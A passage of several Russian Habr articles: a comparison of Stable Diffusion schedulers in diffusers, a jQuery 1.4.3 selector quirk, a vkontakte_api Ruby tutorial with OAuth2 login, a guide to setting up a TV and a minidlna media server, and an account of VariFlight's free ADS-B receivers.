![Диаграмма из блогпоста [https://huggingface.co/blog/stable_diffusion]](https://habrastorage.org/r/w1560/getpro/habr/upload_files/ec3/5bd/6ce/ec35bd6ce1aab84f8502f8768e6904c5.png "Диаграмма из блогпоста [https://huggingface.co/blog/stable_diffusion]")Диаграмма из блогпоста [https://huggingface.co/blog/stable\_diffusion]На этапе инференса, т.е. когда модель, уже обученная на огромном количестве пар текстовых описаний с картинками, генерирует изображения по тексту, мы имеем следующую схему работы. В ней два входа: эмбеддинг входного текста, т.е. обработанный с помощью текстовой модели CLIP текст, разбитый на токены, и latent seed, массив размера 64 на 64, состоящий либо из случайных чисел из гауссова шума, либо заполненный с помощью выхода энкодера VAE. "Смесь" этих двух входов подаётся в сеть архитектуры UNet, чьей задачей является предсказать, что в данном массиве 64x64 (тензоре) является шумом, чтобы затем, с помощью шага scheduler очистить текущий вход от предсказанного шума и повторить процедуру. В зависимости от выбора алгоритма планировщика, варьируется и количество повторений. После этого цикла результат отправляется в декодер VAE, который выдаёт окончательное изображение. Здесь примечательно, что очистка изображения от шума происходит сугубо в латентном пространстве, т.е. в пространстве тензоров 64x64, а декодирование в картинку происходит лишь однажды, но, как мы увидим позже, если декодировать latent на промежуточных этапах в картинку, то будет явно заметна очистка от шума и в изображении.
О роли Scheduler
----------------
Подробно о "планировщиках" в генеративных моделях описано в статье от NVLabs <https://arxiv.org/pdf/2206.00364.pdf>. Попробую, донести ту суть, которую я сам уловил из статьи и опыта работы со stable diffusion.
1. Scheduler используется и на этапе обучения, и на этапе инференса для восстановления зашумленного изображения.
2. Глобально существует два вида планировщиков: с детерминистическим сэмплированием и со стохастическим.
1. Первый тип, в N шагов числено решает обыкновенное дифференциальное уравнение, динамики движения изображения к абсолютному шуму или в обратную сторону, к изображению.
2. Второй тип работает лучше с точки зрения качества генерации. На каждом шаге планировщика к данным добавляется свежий шум семплированный из некоторого распределения. В этом случае уже решается стохастическое дифференциальное уравнение.
3. Scheduler в паре с UNet\* образуют цикл, в котором решается ДУ. Где UNet – это нейронная сеть, которая учится минимизировать ошибку денойзинга, которая соответственно выполняет процедуру очистки от шума. Участвует в численном решении дифференциального уравнения [см. уравнения 2, 3 и алгоритм 1 из ссылки выше], путём того, что результат сети перевычисляется на каждом шаге схемы.
\* – помимо UNet могут быть сети и другой архитектуры.
4. Некоторые исследования сфокусированы на поиске оптимального планировщика, который имеет минимальное число NFE (neural function evaluation), т.е. количество шагов схемы решения ДУ, за которое можно добиться качественного результата.
Так, кратко в пунктах, могу описать роль планировщика в диффузионных моделях, если возникли вопросы в результате прочтения – давайте обсудим в комментариях!
Эксперимент
-----------
Как уже сказано выше, будем пользоваться библиотекой diffusers. Весь эксперимент описан в следующем сниппете. Комментарии по возможности добавлены.
Суть эксперимента заключается в том, чтобы увидеть качественную разницу между генерациями различными подходами по одному заданному текстовому запросу, в нашем случае первый запрос, это гибрид Маска и Карателя, второй – кот из примера вверху. При этом фиксируя random seed. Увидеть, на каком этапе очистки от шума, при различных подходах, проявляется вменяемое изображение, и как результаты разнятся между собой.
Код исполнялся на Tesla T4 в облаке и генерация четырех изображений по запросу во всех случаях занимала 01:42 min. Номера шагов указаны красным в верхних строках.
### EulerDiscreteScheduler
EulerDiscreteSchedulerВ случае Маск-Каратель, на 50-м шаге начинает проявляться изображение, которое мы четко видим на шаге 100. Этот scheduler создает довольно кинематографичные результаты, особенно второй и третий сверху, но на двух из четырех толком не видно лица.
### EulerAncestralDiscreteScheduler
EulerAncestralDiscreteSchedulerСледующий scheduler, несмотря на схожее название с первым, даёт довольно иные результаты. Цветовая схема на третьем финальном изображении совпадает с третьим из предыдущего, поза персонажа и ракурс съемки на первом тоже похожи.
### DDIMScheduler
DDIMScheduler (default)DDIMScheduler (default)Результаты сети с этим scheduler вообще не отражают сути запроса. В первой четверке, на четвертом изображении на шаге 100, что-то похожее на гуманоида, но и то отдаленно. Стоит также отметить, что к сотому шагу, очистка изображения от шума, кажется, еще не завершилась.
**UPDATE**:
Если использовать дефолтный DDIMScheduler, инициализированный с помощью from\_config, то мы увидим результаты, не соответствующие запросу, как показано выше. Но если создавать планировщик явно, используя параметры из этого обсуждения (<https://github.com/huggingface/diffusers/issues/706>), то результаты будут гораздо ближе, к тому, что мы видим при других планировщиках. Спасибо за бдительность: [@trix](/users/trix)
```
# change this for DDIMScheduler
scheduler = sched_class.from_config(config)
# to this
scheduler = DDIMScheduler(beta_start=0.00085, beta_end=0.012, beta_schedule="scaled_linear", clip_sample=False, set_alpha_to_one=False)
```
DDIMScheduler (optimized)DDIMScheduler (optimized)### DDPMScheduler
DDPMSchedulerDDPMSchedulerВ этом плане DDPMScheduler также показывает себя похожим образом, на сотом шаге нет результата, на котором отчетливо различим результат запроса. Касаемо этого алгоритма стоит отметить, что он используется при обучении Stable Diffusion и в этом процессе количество шагов выше на порядок. Поэтому мы и не наблюдаем картинок на сотом шаге, а только лишь шум.
### Другие подходы
Далее идут четыре алгоритма, которые производят крайне похожие результаты при одинаковых начальных данных. На всех четырех четверках, для обоих запросов, мы видим похожие изображения, различимые, при детальном рассмотрении.
DPMSolverMultistepScheduler почти не отличим от DPMSolverSinglestepScheduler. LMSDiscreteScheduler явно имеет иную структуру шума на ранних этапах. А PNDMScheduler отказался вызывать callback с сохранением изображения на первом шаге денойзинга.
DPMSolverMultistepSchedulerDPMSolverMultistepSchedulerDPMSolverSinglestepSchedulerDPMSolverSinglestepSchedulerLMSDiscreteScheduler
LMSDiscreteSchedulerPNDMSchedulerPNDMSchedulerЗаключение
----------
В этой статье мы совершили небольшой обзор архитектуры диффузионной генеративной модели stable diffusion. Кратко затронули основные пункты о роли scheduler в этой архитектуре, что за планировщиком кроется численное решение СДУ или ОДУ. Воспользовались библиотекой diffusers для работы со stable diffusion, применили механизм коллбэков для генерации изображений на промежуточных этапах очистки от шума. И, наконец, подменяли на ходу алгоритмы планировщика, для того, чтобы сравнить результаты генераций в зависимости от выбора алгоритма.
---
*Разработать одну ML-модель и провести ее валидацию уже давно не проблема. Хочу пригласить всех на* [*бесплатный вебинар*](https://otus.pw/hzmd/)*, где вы узнаете как экспериментировать сразу с несколькими ML-моделями, с разными гиперпараметрами и при этом не захлебнуться в разнообразии экспериментов. Как, проводя регулярное переобучение, получить возможность сравнивать качество работы моделей и выбирать лучший результат. И как не потерять накопленный опыт и воспроизводить более ранние эксперименты.*
* [Зарегистрироваться на вебинар](https://otus.pw/hzmd/) | https://habr.com/ru/post/709242/ | null | ru | null |
# Небольшое замечание для тех, кто переходит на 1.4.3
Особенность в 1.4.3 — проявляется в FF3.6.11
Простой пример:
```
| | | | |
| --- | --- | --- | --- |
| 1.1 | 1.2 | 1.3 | 1.4 |
| 2.1 | 2.2 | 2.3 | 2.4 |
```
Ранее, до 1.4.3, результат выполнения следующей jQuery-инструкции был равен 2 (выбраны элементы 1.2 и 1.3)
```
$('tr').eq(0).find('td').eq(0).nextUntil('td[myattr=1]').length
```
В 1.4.3 результат будет равен… 3 (выбираются элементы 1.2, 1.3 и 1.4).
Судя по всему, дело в изменении алгоритмов поиска jQuery а именно, переходе на использование matchesSelector. Чтобы вернуть поведение в нужное русло надо взять значение аттрибута в кавычки:
```
$('tr').eq(0).find('td').eq(0).nextUntil('td[myattr="1"]').length
```
Легкой отладки тебе, %username%!
**UPD**: Что интересно, IE8 (а скорее всего IE<9) не подвержен «багу». У него просто не реализован matchesSelector!
**UPD**: Есть подозрение, что это баг в FF3.6.11. В Chrome7 (у него есть matchesSelector!) баг не воспроизводится. | https://habr.com/ru/post/106865/ | null | ru | null |
# vkontakte_api: ruby-адаптер для ВКонтакте API
В начале этого года мне понадобилось работать с API ВКонтакте из rails-приложения. Увы, я не нашел сколько-нибудь устраивающего меня гема: где-то меня принуждали писать названия методов в camelCase (что в ruby-коде выглядит неестественно), где-то — обязательно проходить авторизацию через библиотеку (при том, что я использовал [omniauth](https://github.com/intridea/omniauth)) и вообще везде для обращений к API использовался захардкоденный `Net::HTTP`, блокирующий реактор эвентмашины, на которую я тогда прицеливался. Также в плане документации почему-то все было очень грустно, и приходилось постоянно читать исходники.
Так появился на свет [vkontakte\_api](https://github.com/7even/vkontakte_api). Рельсовый проект, послуживший поводом для написания данной библиотеки, уже успел почить — но гем живет и продолжает развиваться, в июле достигнув версии 1.0 (которая послужила поводом для значительных изменений). Используя `faraday`, библиотека поддерживает вызов любых методов API, загрузку файлов на сервера ВКонтакте и опциональную авторизацию, не принимая за программиста решения, упомянутые в предыдущем абзаце.
Посмотрим, как работать с API с помощью `vkontakte_api`. В качестве примера сгодится несложное веб-приложение, отображающее на странице ленту новостей (API-метод [newsfeed.get](http://vk.com/developers.php?oid=-1&p=newsfeed.get)), список друзей ([friends.get](http://vk.com/developers.php?o=-1&p=friends.get)) и групп ([groups.get](http://vk.com/developers.php?o=-1&p=groups.get)) пользователя, прошедшего OAuth2-авторизацию. А выглядеть это будет примерно так:
#### Настройка
В авторизации используются ID приложения и защищенный ключ, которые можно получить на странице редактирования приложения на ВКонтакте; а также redirect\_uri, который будет описан далее. Эти параметры указываются в блоке `VkontakteApi.configure`, который удобно разместить в `config/initializers/vkontakte_api.rb`; в rails-приложении можно сгенерировать этот файл с настройками по умолчанию с помощью встроенного генератора.
```
$ rails generate vkontakte_api:install
```
Настройки указываются следующим образом.
```
# config/initializers/vkontakte_api.rb
VkontakteApi.configure do |config|
config.app_id = '123' # ID приложения
config.app_secret = 'AbCdE654' # защищенный ключ
config.redirect_uri = 'http://vkontakte-on-rails.herokuapp.com/callback'
end
```
(на самом деле доступных настроек [гораздо больше](https://github.com/7even/vkontakte_api#%D0%9D%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0), но остальные тут не понадобятся)
#### Авторизация
Входить на сайт понадобится только через ВКонтакте, поэтому задействовать `omniauth` будет нецелесообразно — используем возможности `vkontakte_api`.
Авторизация приложения на ВКонтакте [использует](http://vk.com/developers.php?oid=-1&p=%D0%90%D0%B2%D1%82%D0%BE%D1%80%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F) протокол [OAuth2](http://oauth.net/2/). Это означает, что в результате авторизации будет получен токен доступа, который необходимо передавать при вызове методов API.
Схема его получения следующая: пользователь переходит по ссылке на страницу авторизации на ВКонтакте, соглашается дать приложению доступ к его (пользователя) данным, нажимая кнопку «Разрешить», и ВКонтакте редиректит его обратно в приложение, передавая в URL-е параметр `code`. Далее приложение, используя этот код, получает токен и `user_id` пользователя отдельным запросом и сохраняет их в сессии.
Для защиты от CSRF-атак протокол OAuth2 [рекомендует](http://tools.ietf.org/html/draft-ietf-oauth-v2-31#section-10.12) передавать параметр `state` с неугадываемым значением при отправке пользователя на авторизацию, предварительно сохранив его в защищенном месте; а при возвращении пользователя сверять полученный в параметрах `state` с сохраненным значением.
Итак, на странице входа нужно отобразить ссылку, ведущую на страницу авторизации приложения на ВКонтакте. `vkontakte_api` предоставляет хелпер `VkontakteApi.authorization_url` для генерации URL этой страницы; в параметрах нужно передать `scope` — это [права](http://vk.com/developers.php?oid=-1&p=%D0%9F%D1%80%D0%B0%D0%B2%D0%B0_%D0%B4%D0%BE%D1%81%D1%82%D1%83%D0%BF%D0%B0_%D0%BF%D1%80%D0%B8%D0%BB%D0%BE%D0%B6%D0%B5%D0%BD%D0%B8%D0%B9), которые получит приложение, в виде массива символов (или же строки с названиями, разделенными запятыми) — и описанный выше `state`.
```
# app/controllers/sessions_controller.rb
class SessionsController < ApplicationController
def new
# генерируем случайный state
srand
session[:state] ||= Digest::MD5.hexdigest(rand.to_s)
# и URL страницы авторизации
@vk_url = VkontakteApi.authorization_url(scope: [:friends, :groups, :offline, :notify], state: session[:state])
end
end
```
```
<%= link_to @vk_url, class: 'btn btn-primary' do %>
Войти через ВКонтакте
<% end %>
```
Тут нужно заметить, что по непонятным причинам ВКонтакте игнорирует `state`, если в `scope` не указан `notify`.
Когда пользователь подтвердит права приложения, он будет перенаправлен на указанный ранее в настройках `redirect_uri` (содержащий путь к `SessionsController#callback`), при этом в URL будут переданы параметры `state` и `code`. Как говорилось чуть выше, `state` нужно сверить с уже сохраненным; а на `code` остановимся поподробнее.
С помощью кода можно получить токен доступа, для этого нужно выполнить запрос к ВКонтакте. Пользователь в этом запросе никак не участвует — запрос идет прямо от нашего сервера к vk.com. Для этого `vkontakte_api` также предоставляет хелпер — `VkontakteApi.authorize`, единственный параметр — пресловутый `code`.
```
# encoding: utf-8
class SessionsController < ApplicationController
def callback
# проверка state
if session[:state].present? && session[:state] != params[:state]
redirect_to root_url, alert: 'Ошибка авторизации, попробуйте войти еще раз.' and return
end
# получение токена
@vk = VkontakteApi.authorize(code: params[:code])
# и сохранение его в сессии
session[:token] = @vk.token
# также сохраним id пользователя на ВКонтакте - он тоже пригодится
session[:vk_id] = @vk.user_id
redirect_to root_url
end
end
```
При выходе пользователя из нашего приложения просто почистим сессию:
```
class SessionsController < ApplicationController
def destroy
session[:token] = nil
session[:vk_id] = nil
redirect_to root_url
end
end
```
Токен получен, можно работать с самим API.
#### Вызов методов API
Чтобы вызывать методы API, нужен объект `VkontakteApi::Client`. В конструктор нужно просто передать токен.
Далее можно вызывать методы на самом клиенте. Методы с составными именами вызываются по цепочке: `vk.users.get(params)`. В соответствии с принятыми в ruby-сообществе соглашениями названия методов пишутся в `snake_case`: метод API `likes.getList` можно вызвать как `vk.likes.get_list`.
Все параметры API являются именованными и передаются в виде хэша, проиндексированного названиями параметров, например `vk.users.get(uid: 1)`. Если API ожидает получить в параметре коллекцию объектов, перечисленных через запятую, то их можно передать в виде массива — `vkontakte_api` склеит его автоматически (аналогично обрабатывается параметр `scope` в авторизации). При этом вместо строк можно использовать символы.
Итак, нам нужна лента новостей, друзья и группы текущего пользователя. Также выведем имя и аватар пользователя в навигации. Для получения этих данных есть методы `newsfeed.get`, `friends.get`, `groups.get` и `users.get` соответственно (последний будем вызывать, передавая параметром id нашего пользователя). Результат `newsfeed.get` содержит отдельно сами новости, содержащие id пользователей и групп, и отдельно массивы с упомянутыми пользователями и группами; не показанный здесь метод `MainController#process_feed` добавляет к каждой новости ее источник (пользователь или группа, написавшая пост) под ключом `source`.
```
class MainController < ApplicationController
def index
# сначала создадим клиент API
vk = VkontakteApi::Client.new(session[:token])
# теперь получим текущего юзера
@user = vk.users.get(uid: session[:vk_id], fields: [:screen_name, :photo]).first
# его друзей
@friends = vk.friends.get(fields: [:screen_name, :sex, :photo, :last_seen])
# отдельно выберем тех, кто в данный момент онлайн
@friends_online = @friends.select { |friend| friend.online == 1 }
# группы
@groups = vk.groups.get(extended: 1)
# первый элемент массива - кол-во групп; его нужно выкинуть
@groups.shift
# и ленту новостей
raw_feed = vk.newsfeed.get(filters: 'post')
# обработанную в отдельном методе
@newsfeed = process_feed(raw_feed)
end
end
```
Результаты методов возвращаются в виде `Hashie::Mash` — это расширение стандартного `Hash` из гема [hashie](https://github.com/intridea/hashie/tree/1-1-stable#mash), позволяющее обращаться к элементу через метод, название которого соответствует ключу этого элемента в хэше (`user.name == user[:name]`).
В навигации нужно показать аватар и имя текущего пользователя, полученные с ВКонтакте.
```
<%= link_to vk_url(@user), target: '_blank' do %>
<%= image_tag(@user.photo, width: 20) %>
<%= "#{@user.first_name} #{@user.last_name}" %>
<% end %>
```
Здесь и далее используется ряд несложных хелперов (`vk_url`, `name_for`, `avatar_for` итд), определенных в приложении — все они достаточно тривиальны, при желании можно почитать код [здесь](https://github.com/7even/vkontakte_on_rails/blob/master/app/helpers/main_helper.rb).
Теперь выведем на страницу ленту новостей.
```
<% @newsfeed.each do |item| %>
|
<%= link\_to vk\_url(item.source), target: '\_blank' do %>
<%= image\_tag avatar\_for(item.source) %>
<% end %>
| <%= formatted\_time\_for(item.date) %>
<%= link\_to name\_for(item.source), vk\_url(item.source), target: '\_blank' %>
<%=raw render\_links(item.text) %>
<% item.attachments.each do |attachment| %>
<%= render 'attachment', attachment: attachment %>
<% end if item.attachments? %>
|
<% end %>
<% case attachment.type %>
<% when 'link' %>
<%= link\_to attachment.link.title, attachment.link.url, target: '\_blank' %>
<% when 'photo' %>
<%= image\_tag attachment.photo.src\_big %>
<% when 'video' %>
<%= image\_tag attachment.video.image\_big %>
<% end %>
```
И, наконец, отобразим в сайд-баре друзей и группы пользователя.
```
###### Друзья онлайн
<%= render 'friends', friends: @friends\_online %>
###### Все друзья
<%= render 'friends', friends: @friends %>
###### Группы
<%= render 'groups' %>
<% if friends.empty? %>
| Никого не найдено |
<% else %>
<% friends.each do |friend| %>
|
<%= link\_to image\_tag(friend.photo), vk\_url(friend), target: '\_blank' %>
|
<%= link\_to "#{friend.first\_name} #{friend.last\_name}", vk\_url(friend), target: '\_blank' %>
<%= online\_status(friend) %>
|
<% end %>
<% end %>
<% if @groups.empty? %>
| Вы не состоите в группах |
<% else %>
<% @groups.each do |group| %>
|
<%= link\_to image\_tag(group.photo), vk\_url(group), target: '\_blank' %>
|
<%= link\_to group.name, vk\_url(group), target: '\_blank' %>
|
<% end %>
<% end %>
```
Живое демо можно посмотреть [здесь](http://vkontakte-on-rails.herokuapp.com/) (осторожно, бесплатный heroku). Оно ничего не пишет на ВКонтакте — все методы API используются только для чтения данных и вывода их на страницу. Весь код лежит на [Github](https://github.com/7even/vkontakte_on_rails).
#### Еще немного материалов по `vkontakte_api`
* [домашняя страница проекта](http://7even.github.com/vkontakte_api/)
* [README.md](https://github.com/7even/vkontakte_api#readme)
* [RDoc-документация](http://rdoc.info/gems/vkontakte_api) со 100% покрытием
* [более продвинутый пример](http://7vn.ru/blog/2012/09/09/vkontakte-async/) использования vkontakte\_api (асинхронное приложение-мессенджер на вебсокетах) | https://habr.com/ru/post/151585/ | null | ru | null |
# Телевизор в сети
**Дано:** современный телевизор, модель не играет большой роли, главное чтобы был сетевой плеер.
**Требуется:** подцепить его к домашней сети чтобы он проигрывал хранящиеся на серваке фильмы.
Еще в процессе покупки телевизора загляните ему в мануал, на тему как он умеет подключаться к сети.
Возможны варианты:
* не умеет работать с сетью (проходим мимо таких — каменный век)
* только Ethrenet
* опциональный (внешний) WI-FI
* встроенный WI-FI
Если заявлен WI-FI как опция будьте готовы выложить еще с сотню баксов за его **родной** адаптер, не смотря на убеждения продавцов что мол надо докупить любой USB адаптер и все будет работать, сам столкнулся с таким в М-Видео (благо на приемке заглянул в мануал и быстро вернул деньги).
Это не просто USB, а еще и слот для родного Wi-Fi адаптера
Родные же WI-FI адептеры даже в крупных сетевых магазинах оказались редкостью. А заложить в стену в спальне, где висит телек UTP во время ремонта не у всех хватает сообразительности. Так что вроде есть две опции, а работать с ними с наскоку не получается.
Благо подключить телевизор используя порт Ethernet и внешнюю точку доступа в режиме клиента совсем не проблема. Этот вариант имеет еще и некоторые преимущества:
* цена простой точки доступа существенно ниже родного адаптера
* уровень сигнала точки с внешней антенной значительно превосходит уровень сигнала USB свистка
* при некотором везении точку доступа можно настроить в режиме моста с WDS+AP и тогда она еще будет «усиливать сигнал» перераздавая сеть для слабых устройств типа мобильников (при использовании SIP уровень сигнала довольно критичный момент)
Итак, купив телевизор с портом RJ-45 надо найти (древние однопортовые точки доступа не раритет и у многих пылятся в столах) или купить дешевую точку с поддержкой режима Client. Настраиваем по мануалу режим Client для точки доступа, после этого она начнет на первом порту бриджевать сеть, а MAC самой точки, видимый с AP сменится на мак подключенного телека.
Точка доступа притаилась в засаде
Что бы работал [WDS](http://ru.wikipedia.org/wiki/WDS) — распределенная структура сети, чипсеты точек **должны** быть одного производителя (по слухам можно заточить Atheros и Broadcom но это исключение, и не будет WPA). Для настройки WDS я использовал прошивку [dd-wrt](http://www.dd-wrt.com/site/support/router-database) для обоих роутеров — иначе не получалось заставить раздавать сеть на порты Ethernet, так что имеет смысл проверить модель перед покупкой.
Получив рабочий Ютуб и обновив прошивку телека из сети, обрадованные вы скорее всего захотите запустить сетевой медиаплеер. Но не смотря на наличие разнообразных файловых серверов в вашей сети, начиная от TFTP, FTP, SCP и заканчивая Самбой (aka Сеть Windows) вы скорее всего обломитесь, а почитав мануал уясните что ваше чудо техники «работает с файлами, которые хранятся на сервере DLNA CERTIFIEDTM»
На то что такое DLNA, намекает [википедия](http://ru.wikipedia.org/wiki/DLNA), так что этот пункт опустим, все умеют читать. Самое важное что это некий сетевой протокол, а поэтому его можно вкрячить на домашний сервак. Я выбрал [minidlna](http://minidlna.sourceforge.net/) — подкупило свлово мини в названии.
Предположим что у всех домашние серваки подняты на gentoo, а если нет то качаем из своего репозитория или [соурсфорджа](http://sourceforge.net/projects/minidlna/) и собираем из исходников. Если вам не повезло и есть только Windows то читайте [здесь](http://en.wikipedia.org/wiki/List_of_UPnP_AV_media_servers_and_clients), возможно найдется сервер и для него.
```
emerge net-misc/minidlna
```
К слову сказать документация на него тоже, мини. На сайте пусто, мана нет. Но да оно и не нужно. После установки появляются следующие файлы:
```
/etc/minidlna.conf - основной конфигурационный файл
/etc/conf.d - конфиг демона
/etc/init.d/minidlna - ранскрипт демона
```
Из опций которые правим в конфиге:
```
# интерфейсы, на которых работает сервер - домашняя сеть
network_interface=eth2, eth3
# где искать контент
# сюда качаются торренты rtorrent-ом
media_dir=/var/download/ftp
# сюда пишет камеры motion с bt848
# лирическое отступление, обратите внимание, если внутри нет подпапки, например /home/motion/camera1
# то все файлы будут отображены вместе с содержимым /var/download/ftp вперемежку с файлами и папками
# в /var/download/ftp, так что есть папка с кучей файлов делайте подпапки - будет удобнее
media_dir=V,/home/motion
# увековечиваем свое имя
friendly_name=ma5ter DLNA server
# рабочие данные хранить здесь
db_dir=/var/cache/minidlna
# а логи здесь
log_dir=/var/log
```
В конфиге демона говорим от чьего имени работать:
```
M_USER="mdlna"
M_GROUP="mdlna"
```
Создаем этого пользователя (с рабочей папкой) и пустой лог-файл для него:
```
useradd -d /var/cache/minidlna -s /sbin/nologin -U mdlna
touch /var/log/minidlna.log
chown mdlna /var/log/minidlna.log
```
Для начала этого достаточно. Cтартуем сервер DLNA
```
/etc/init.d/minidlna start
```
В логе не должно быть ошибок, нормальный запуск выглядит как-то так (последние строчки появляются в по прошествии некоторого времени в процессе работы сканера):
```
[2012/11/15 12:12:43] minidlna.c:888: warn: Starting MiniDLNA version 1.0.24 [SQLite 3.7.13].
[2012/11/15 12:12:43] minidlna.c:911: warn: Creating new database...
[2012/11/15 12:12:43] minidlna.c:988: warn: HTTP listening on port 8200
[2012/11/15 12:12:43] scanner.c:727: warn: Scanning /var/download/ftp
[2012/11/15 12:13:26] scanner.c:798: warn: Scanning /home/motion finished (1482 files)!
[2012/11/15 12:13:26] playlist.c:125: warn: Parsing playlists...
```
Сервер найден — нажмите ОК для просмотра файлов и папок...
В общем-то все начинает работать, однако если вас не устроит стандартная иерархия папок то можно чуточку заточить под себя редактированием конфига:
```
# сразу открывать папку со всем содержимым
root_container=B
``` | https://habr.com/ru/post/158717/ | null | ru | null |
# VariFlight ADS-B – Flightradar по-китайски
**«Flightradar»,** в некотором роде, стало именем нарицательным, фактически подменяя понятие *«сайт, где можно за самолетами наблюдать в реальном времени»*. Хотя фактически таких крупных сайтов несколько, а небольших проектов еще больше, но нередко можно увидеть в СМИ новость о авиационном событии с фразой «по данным сайта Flightradar» и скриншот с другого ресурса.
На Хабре есть ряд публикаций о радарспорттинге, в которых или в комментариях к которым упоминаются не только Flightradar. В этой публикации я расскажу о китайском сервисе по отслеживанию авиатрафика и его таком же *китайском* ADSB-приемнике, который они рассылают бесплатно.
Радарспоттинг достаточно интересное занятие чтобы увлечь заметное число людей. Несколько статей на Хабре неплохо описывают суть занятия:
* [Плейн- и радарспоттинг, или я болен авиацией](https://habr.com/post/156477/)
* [Шаг за шагом: Трансляция данных на flightradar24](https://habr.com/post/280454/)
* [Flightradar24 — как это работает?](https://habr.com/post/408003/)
* [Как следить за опознанными летающими объектами при помощи Raspberry Pi](https://habr.com/post/334360/)
* Дешевая и простая станция для радарспоттинга
Приемник принимает, передаваемый самолетами, сигнал на частоте 1090 МГц, дешифрует и отдает в каком-то формате. Например так:
```
{"updatetime":1537902225,"UTC Time":"2018-09-25 19:03:45","anum":"TCETM","fnum":"KKK6944","position":{"long":30.66455078125,"lat":39.351677},"height":10005.06,"speed":888.96,"angle":130},
```
Это занятие не только интересное, но стало видом деятельности нескольких компаний:
* [Flightradar24](https://www.flightradar24.com/)
* [Flightaware](https://flightaware.com/)
* [PlaneFinder](https://planefinder.net)
* [AirNav Network Radarbox](https://www.radarbox24.com/)
* [AvDelphi network](http://www.avdelphi.com/track.html)
Мало кто думает чем зарабатывают на жизнь и как работают сервисы подобные Flightradar. Пример этого можно увидеть в ru.википедии "*публичный веб-сервис, позволяющий в реальном времени наблюдать за положением воздушных судов, находящихся в воздухе*". Сама статья и заголовок дают ложное представление о Flightradar как о неком развлекательном сервисе.
В действительности возникнув в начале 2000-х как хобби, эти компании быстро вышли на окупаемость и с каждым годом увеличивают доход. Например, компания Flightaware, основанная в 2005 году, уже в 2006 году стала прибыльной, заработав больше $1M за первые 18 месяцев, и ежегодно показывая рост 40-75%. По данным некоторых ресурсов ежегодный доход Flightaware превышает $9M, а Flightradar — более $2M.
Если в Европе есть Flightradar, в США — Flightaware, то в Китае есть VariFlight. Точно так же сервис, торгует статусами авиарейсов, статистическими данными и архивами рейсов, выполняет анализ и прогнозирование для заказчиков — организаций и индивидуальных клиентов.
Собственными словами VariFlight:
```
```
Компании торгуют данными, как своими, так и полученными, например, от Федерального управления гражданской авиации США. Но наибольшую прибыль можно получить от собственных приёмников, эксплуатация которых компании ничего не стоит т.к. они установлены у энтузиастов радарспоттинга, необходимо потратиться только на изготовление и пересылку. Поэтому с какого-то момента компании стали продавать и бесплатно рассылать свои приемники. Бесплатно туда, где у компании нет еще покрытия своей сетью приемников и откуда нет данных.
Стоимость данных оправдывает «бесплатное» распространение приемников (обратите внимание на текст под таблицей — приемник остается в собственности компании Flightaware, формально безоплатно сдается в аренду).
К 2015 году в сети Flightradar было более 8000 активных приемников, у Flightaware — около 4500. Но Flightaware начал распространение приемников за два года до этого, а Flightradar к тому времени строил свою сеть уже почти десять лет. На [данное время](https://flightaware.com/adsb/) в сети Flightaware более 15 000 приемников. ПО приемников Flightaware постоянно совершенствуется и на данное время работает с данными FMSDATA, FMSWX.
Карта размещения приёмников в марте 2017 года:
Оранжевые — бесплатно распространяемые приемники Flightaware, белые — самодельные приемники, красные — платная программа [PlanePlotter](http://www.coaa.co.uk/planeplotter.htm).
Это покрытие сети приемников Flightaware в декабре 2015 года:
А в марте 2017 года сеть приемников Flightaware ([современное состояние на офсайте](https://ru.flightaware.com/adsb/coverage)) обеспечивала такое покрытие:
Не везде есть возможность установить приемники, поэтому в 2018 году данные наземных приемников дополняются данными со спутников Iridium NEXT — [«Впервые станет возможно непрерывно отслеживать самолеты в любой точке мира»](https://habr.com/post/370247/).
Серо-голубой цвет — данные спутников Iridium NEXT. Зеленый и желтый (последний — это [MLAT](https://habr.com/post/250813/)) — данные наземных приемников.
Радиус зоны, которую охватывает одна станция, ограничивается кривизной поверхности Земли и препятствиями закрывающими линию горизонта, и составляет не более 450 км в лучшем случае. А в «обычном случае» около 150 км. При редких [тропосферных прохождениях](https://habr.com/company/mailru/blog/400497/) для этой радиочастоты возможно заглянуть за горизонт. Пример зон максимального охвата станций, транслирующих на Planeradar.ru:
Острые пики на диаграммах приема — это как раз единичные случаи приёма на очень больших расстояниях.
Анимация ниже показывает с чем связана необходимость рассылать приёмники. За пределами ЕС/США это хобби мало популярно. Может быть причина в стоимости хобби и эта карта косвенно указывает на уровень благосостояния, на техническое образование, плотность населения в регионе. Возможно дело в практическом интересе — пользователи передающие данные своих приемников получают бесплатный [корпоративный аккаунт Flightaware](https://flightaware.com/commercial/premium/), стоимостью $90 в месяц.
И так в общих чертах обрисована ситуация. Рынок этой услуги растет, рынку необходимо больше данных и VariFlight тоже начал развертывать свою сеть. В апреле 2018 года компания VariFlight сообщила, что ищет добровольцев для размещения бесплатного оборудования. Пример такого сообщения в публикации на [Instagram](https://www.instagram.com/p/BhfmzKGHZDy/).
А в августе мне на глаза попалось это предложение бесплатно заказать приемник по ссылке [http://flightadsb.feeyo.com](http://flightadsb.feeyo.com/index/adsb?recommender=MTg4OTU2MjE5MDU&lang=en) (Сайт закрыт в сентябре 2019 года — новый сайт [flightadsb.variflight.com](http://flightadsb.variflight.com/) и ссылка для заказа устройства [здесь](http://flightadsb.variflight.com/device/apply) ). Изучив сайт, я обратил внимание, что компания ищет добровольных участников сети в странах возле границ Китая. И заполнив анкету, особо не рассчитывал, что ЮФО входит в зону интересов компании.
В самой заявке требуется указать на карте место установки (*Installation Location*), этаж установки антенны на здании (*Floor of Installation*, например 7/9 — 7 этаж 9-этажного здания), код ближайшего аэропорта (*Airport code* — я указал код IATA) и загрузить фотографии горизонта с места установки (*Installation Environment*). В остальном почти совпадает с заказом на Aliexpress, кроме пунктов Title, Nationality, Occupation, Company. Заполняется на английском с ФИО.
Через пару недель проверив почту, обнаружил два email от **ADSB展示系统(Display system of ADS-B)** о том, что заявка была почти сразу одобрена и что посылка давно мчится ко мне, на тот момент уже миновав таможню.
Во втором письме были логин, пароль и трек-номер посылки. А еще инструкция, которую я не заметил и прочитал, когда… сами знаете, когда обычно читают инструкцию.
Логин соответствовал ФИО в заявке, а пароль явно присылают один и тот же всем. Поэтому идем и меняем пароль сразу (и логин если требуется).
Вообще далее в голове всё чаще всплывала фраза «Это какая-то ерунда» из игры Sudden-strike, если кто помнит как немцы в игре с акцентом говорят на русском языке. Иногда тихо, иногда громко.
